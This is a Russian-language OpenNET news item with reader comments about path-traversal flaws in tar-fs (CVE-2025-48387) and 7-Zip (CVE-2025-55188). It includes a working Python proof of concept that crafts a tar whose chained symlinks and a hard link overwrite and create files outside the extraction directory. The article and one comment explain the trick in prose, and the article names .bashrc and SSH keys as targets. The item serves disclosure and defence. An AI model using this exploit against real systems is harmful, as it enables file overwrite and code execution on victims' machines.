The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога

18.08.2025 10:36

В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.

Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.

Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.


import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
    root = tarfile.TarInfo("root")
    root.linkname = ("noop/" * 15) + ("../" * 15)
    root.type = tarfile.SYMTYPE
    tar.addfile(root)
    noop = tarfile.TarInfo("noop")
    noop.linkname = "."
    noop.type = tarfile.SYMTYPE
    tar.addfile(noop)
    hard = tarfile.TarInfo("hardflag")
    hard.linkname = "root/home/username/flag/flag"
    hard.type = tarfile.LNKTYPE
    tar.addfile(hard)
    content = b"overwrite\n"
    overwrite = tarfile.TarInfo("hardflag")
    overwrite.size = len(content)
    overwrite.type = tarfile.REGTYPE
    tar.addfile(overwrite, fileobj=io.BytesIO(content))
    content = b"new!\n"
    newfile = tarfile.TarInfo("root/home/username/flag/newfile")
    newfile.size = len(content)
    newfile.type = tarfile.REGTYPE
    tar.addfile(newfile, fileobj=io.BytesIO(content))

Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar. Проблема устранена в версии 7-Zip 25.01.

  1. Главная ссылка к новости (https://github.com/google/secu...)
  2. OpenNews: Уязвимость в Python-модуле TarFile, допускающая запись в любые части ФС
  3. OpenNews: Уязвимость в KDE Ark, позволяющая перезаписать файлы при открытии архива
  4. OpenNews: Уязвимость в unrar, позволяющая перезаписать файлы при распаковке архива
  5. OpenNews: Уязвимость Zip Slip, затрагивающая библиотеки для распаковки архивов
  6. OpenNews: Уязвимость в GNU tar, позволяющая перезаписать сторонние файлы
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/63740-tar-fs
Ключевые слова: tar-fs, 7-zip, npm
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (22) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.2, Аноним (2), 11:07, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    А это нормально, когда уязвимость в  NPM, а в качестве примера код на python ?
     
     
  • 2.10, Аноним (10), 11:45, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    код, подготавливающий проблемный файл, может быть на любом языке
     
  • 2.13, Аноним (13), 12:15, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Эт че, в NPM опять что то корявое выложили?
    Они там концептуально не обучаемые походу, эти NPM-щики.
     

  • 1.3, Аноним (3), 11:09, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +7 +/
    Нужен язык для безопасной работы с символическими ссылками.
     
     
  • 2.14, Аноним (13), 12:16, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    как насчет RUST?
    там у них есть unsafe!
    есть что возразить?
     
     
  • 3.17, Аноним (17), 12:33, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Так а кто там проверяет символические ссылки, чекер боровов проверяет?
     
  • 3.22, Аноним (22), 12:55, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Надо запрос разработчикам запилить. Что бы добавили в язык безопасность работы с символическими ссылками.
     

  • 1.4, Аноним (4), 11:18, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    Почему программисты тупо не умеют работать с ../../ ? Что сложного, а?
     
     
  • 2.5, Аноним (5), 11:18, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Ты тоже не умеешь
     
  • 2.6, Аноним (6), 11:20, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Важное уточнение - программисты яваскрипт.
     
     
  • 3.7, Аноним (4), 11:22, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Да ладно, это всюду наблюдаем, в том числе на дыряшечке. Именно программисты не осиливают такую наипростейшую концепцию, как "родительская директория".
     
     
  • 4.8, fc (??), 11:37, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > в том числе на дыряшечке

    её грех не упямянуть?
    а как у вас на божественном русте?

     
     
  • 5.11, Аноним (-), 11:54, 18/08/2025 Скрыто ботом-модератором     [к модератору]
  • –1 +/
     
     
  • 6.20, fd (?), 12:47, 18/08/2025 Скрыто ботом-модератором     [к модератору]
  • +1 +/
     
  • 3.18, Аноним (-), 12:38, 18/08/2025 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 3.23, Аноним (23), 13:01, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Не знал, что 7-zip написан на яваскрипт.
     

  • 1.9, Аноним (9), 11:41, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Интернет система , ой у нас уязвимость мы вышли за пределы интернета. Собираем на мак с помощью linux /.../.../.../ , ой а чё это мы собираем linux библиотеки на мак , опять вышли за пределы эипла. Вот на что похожи эти новости
     
     
  • 2.15, Аноним (13), 12:19, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Есть хороший лайфхак по генерированию "новостей" - смотришь в NPM репах с чем там они на этой неделе обосрались, и у тебя куча контента.
    Если не прокатило - вспоминаем, что в NPM теперь можно подключать сторонние репы, и далее переходим к пункту 1.
     

  • 1.12, Аноним (13), 12:13, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Господа, так может следует сначала просто определиться, разрешено ли вообще архиватору распаковывать файлы куда угодно, кроме того каталога в котором лежит файл (естественно при наличии соотвествующих прав доступа в файловой системе). А именно это я прочитал в новости - "в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка"

    Например достопочтенный гуевый винрар (как и 7zip), позволяют пользователю вручную указать директорию для распаковки (пока не учитываем "специально подготовленные архивы" с кривыми путями) - вот это хорошо или плохо?
    Может вопрос-то просто в корявой обработке путей архиваторами?

     
     
  • 2.16, Аноним (16), 12:29, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Я могу положить внутрь архива символическую ссылку с путём "nop" и содержимым ".", а следом за ней ещё одну символическую ссылку "yousuckatparsingsymlinks" с содержимым "nop/nop/nop/..". Всё, теперь следующий файл кладём с путём "yousuckatparsingsymlinks/outoffolder", и при распаковке он окажется снаружи папки, куда ты распаковывал архив. Проблема элементарная - забыли в режиме ограничения пути распаковки (по дефолту tar позволяет любые пути в нём записать, что удобно для тех же обновлений системы) разыменовывать содержимое симлинков и проверять уже реальный путь, куда они будут указывать. Тут даже парсер переписывать не надо - только readlink делать при встрече любой симлинки.
     
     
  • 3.19, Аноним (16), 12:38, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Я так прикинул, в симлинках же можно любой путь указать, в том числе абсолютный "/tmp" или "/etc". Если не проверяется реальный путь с подставлением содержимого симлинки, то наверное не проверяется и то, что в симлинке лежит абсолютное перенаправление, которым можно сразу попасть в нужную часть FS.
     

  • 1.21, Анон1110м (?), 12:49, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Вот почему я предпочитаю ACE.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2025 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру